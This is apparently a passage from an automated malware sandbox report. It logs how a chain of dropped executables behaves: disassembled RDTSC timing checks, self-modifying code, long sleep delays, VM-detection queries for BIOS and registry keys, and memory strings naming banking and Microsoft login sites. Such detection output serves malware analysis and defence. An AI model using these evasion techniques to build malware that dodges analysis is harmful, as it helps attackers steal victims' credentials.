Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 63EDAC second address: 63EDD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 ja 00007FDDBD19A02Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007FDDBD19A032h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 64BBEF second address: 64BBF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 64BBF3 second address: 64BBFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 64BBFE second address: 64BC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 64E6F4 second address: 64E706 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDDBD19A02Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 64E72D second address: 64E781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 push ebx 0x00000009 jmp 00007FDDBCB6A6D3h 0x0000000e pop ebx 0x0000000f pop esi 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007FDDBCB6A6C8h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d jmp 00007FDDBCB6A6CBh 0x00000032 push D4353B80h 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 64E781 second address: 64E787 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 64E787 second address: 64E78C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 64E984 second address: 64E99E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDDBD19A02Eh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 64E99E second address: 64E9DF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jno 00007FDDBCB6A6CEh 0x00000012 pop eax 0x00000013 mov ecx, edi 0x00000015 lea ebx, dword ptr [ebp+12453647h] 0x0000001b mov dword ptr [ebp+122D2D80h], edi 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push ecx 0x00000025 jmp 00007FDDBCB6A6D3h 0x0000002a pop ecx 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 64E9DF second address: 64E9E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 64EA54 second address: 64EA58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 64EA58 second address: 64EA5D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 64EA5D second address: 64EAA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 75EAE46Eh 0x0000000e sub dword ptr [ebp+122D1FBFh], ebx 0x00000014 push 00000003h 0x00000016 mov edx, 4AA0CE47h 0x0000001b push 00000000h 0x0000001d mov edi, dword ptr [ebp+122D2B4Dh] 0x00000023 push 00000003h 0x00000025 mov dword ptr [ebp+122D1A64h], ebx 0x0000002b call 00007FDDBCB6A6C9h 0x00000030 push edi 0x00000031 pushad 0x00000032 pushad 0x00000033 popad 0x00000034 ja 00007FDDBCB6A6C6h 0x0000003a popad 0x0000003b pop edi 0x0000003c push eax 0x0000003d push edx 0x0000003e jnp 00007FDDBCB6A6CCh 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 64EAA7 second address: 64EAC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 pushad 0x0000000a jmp 00007FDDBD19A030h 0x0000000f jc 00007FDDBD19A02Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 64EAC9 second address: 64EB38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 pushad 0x00000008 jmp 00007FDDBCB6A6CCh 0x0000000d jg 00007FDDBCB6A6C8h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a pushad 0x0000001b pushad 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e jmp 00007FDDBCB6A6CCh 0x00000023 popad 0x00000024 jne 00007FDDBCB6A6C8h 0x0000002a popad 0x0000002b pop eax 0x0000002c jng 00007FDDBCB6A6C6h 0x00000032 lea ebx, dword ptr [ebp+12453652h] 0x00000038 mov dword ptr [ebp+122D1FBFh], ebx 0x0000003e xchg eax, ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 jmp 00007FDDBCB6A6CEh 0x00000047 jmp 00007FDDBCB6A6CEh 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 63B7D6 second address: 63B7DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 66E02E second address: 66E038 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDDBCB6A6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 66E2EE second address: 66E2F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDDBD19A026h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 66E714 second address: 66E71C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 66E71C second address: 66E720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 66E720 second address: 66E733 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 66E733 second address: 66E746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBD19A02Fh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 66E746 second address: 66E75A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FDDBCB6A6C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 66E75A second address: 66E788 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBD19A032h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FDDBD19A038h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 66E788 second address: 66E78E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 66E78E second address: 66E794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 66E8FD second address: 66E901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 66E901 second address: 66E90A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 66E90A second address: 66E911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 963E4B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B0F7C4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B0FB75 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B1E87A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B9F3D2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Special instruction interceptor: First address: 67FA09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Special instruction interceptor: First address: 707892 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Special instruction interceptor: First address: 123F222 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Special instruction interceptor: First address: 140AF1D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Special instruction interceptor: First address: 13EFB12 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Special instruction interceptor: First address: 146B5EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6CFA09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Special instruction interceptor: First address: 3EDAB9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Special instruction interceptor: First address: 587CF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Special instruction interceptor: First address: 3EB636 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Special instruction interceptor: First address: 5B2B09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Special instruction interceptor: First address: 61BBC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 757892 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Special instruction interceptor: First address: 143E4B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Special instruction interceptor: First address: 2EF7C4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Special instruction interceptor: First address: 2EFB75 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Special instruction interceptor: First address: 2FE87A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Special instruction interceptor: First address: 37F3D2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Special instruction interceptor: First address: 11BF222 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Special instruction interceptor: First address: 138AF1D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Special instruction interceptor: First address: 136FB12 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Special instruction interceptor: First address: 13EB5EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Special instruction interceptor: First address: 67FA09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Special instruction interceptor: First address: 707892 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Special instruction interceptor: First address: 44F222 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Special instruction interceptor: First address: 61AF1D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Special instruction interceptor: First address: 5FFB12 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Special instruction interceptor: First address: 67B5EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Special instruction interceptor: First address: 7CDAB9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Special instruction interceptor: First address: 967CF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Special instruction interceptor: First address: 7CB636 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Special instruction interceptor: First address: 992B09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Special instruction interceptor: First address: 9FBBC7 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Memory allocated: 5310000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Memory allocated: 54B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Memory allocated: 74B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Memory allocated: 4FE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Memory allocated: 51D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Memory allocated: 71D0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe

Code function: 3_2_05440D13 rdtsc

3_2_05440D13

Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe

Code function: 12_3_055C6513 sldt word ptr [eax]

12_3_055C6513

Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1483	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 390	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 7224	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Window / User API: threadDelayed 753

Source: C:\Users\user\Desktop\file.exe TID: 3660	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe TID: 7516	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7628	Thread sleep count: 65 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7628	Thread sleep time: -130065s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7632	Thread sleep count: 53 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7632	Thread sleep time: -106053s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7620	Thread sleep count: 58 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7620	Thread sleep time: -116058s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7612	Thread sleep count: 1483 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7612	Thread sleep time: -2967483s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7600	Thread sleep count: 390 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7600	Thread sleep time: -11700000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7636	Thread sleep count: 49 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7636	Thread sleep time: -98049s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7804	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7640	Thread sleep count: 59 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7640	Thread sleep time: -118059s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7612	Thread sleep count: 7224 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7612	Thread sleep time: -14455224s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe TID: 7876	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe TID: 7984	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe TID: 7244	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe TID: 8092	Thread sleep count: 42 > 30
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe TID: 8092	Thread sleep time: -252000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe TID: 5512	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe TID: 3904	Thread sleep count: 57 > 30
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe TID: 3904	Thread sleep time: -342000s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Thread delayed: delay time: 922337203685477

Source: 805c374e44.exe, 0000000C.00000003.2115366346.00000000056C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: LDYMRYSK15TF568PLM3O1A8XS.exe, 00000004.00000002.1830747500.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware:
Source: file.exe, 00000000.00000003.1531437575.00000000011A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531574030.00000000011A5000.00000004.00000020.00020000.00000000.sdmp, LDYMRYSK15TF568PLM3O1A8XS.exe, 00000004.00000002.1830747500.0000000000A64000.00000004.00000020.00020000.00000000.sdmp, LDYMRYSK15TF568PLM3O1A8XS.exe, 00000004.00000002.1830747500.0000000000A34000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086923116.0000000000D82000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085894696.0000000000D82000.00000004.00000020.00020000.00000000.sdmp, 2de90f6e61.exe, 0000000D.00000002.2155410034.00000000009E5000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2392121489.000001BAA08A0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2392121489.000001BAA08EC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2392121489.000001BAA090C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000001B.00000002.2397402712.000001BAAA9C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2377549896.000001C8AAB1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: file.exe, 00000000.00000003.1531574030.000000000118C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW<S
Source: 805c374e44.exe, 0000000C.00000003.2116379191.0000000005630000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
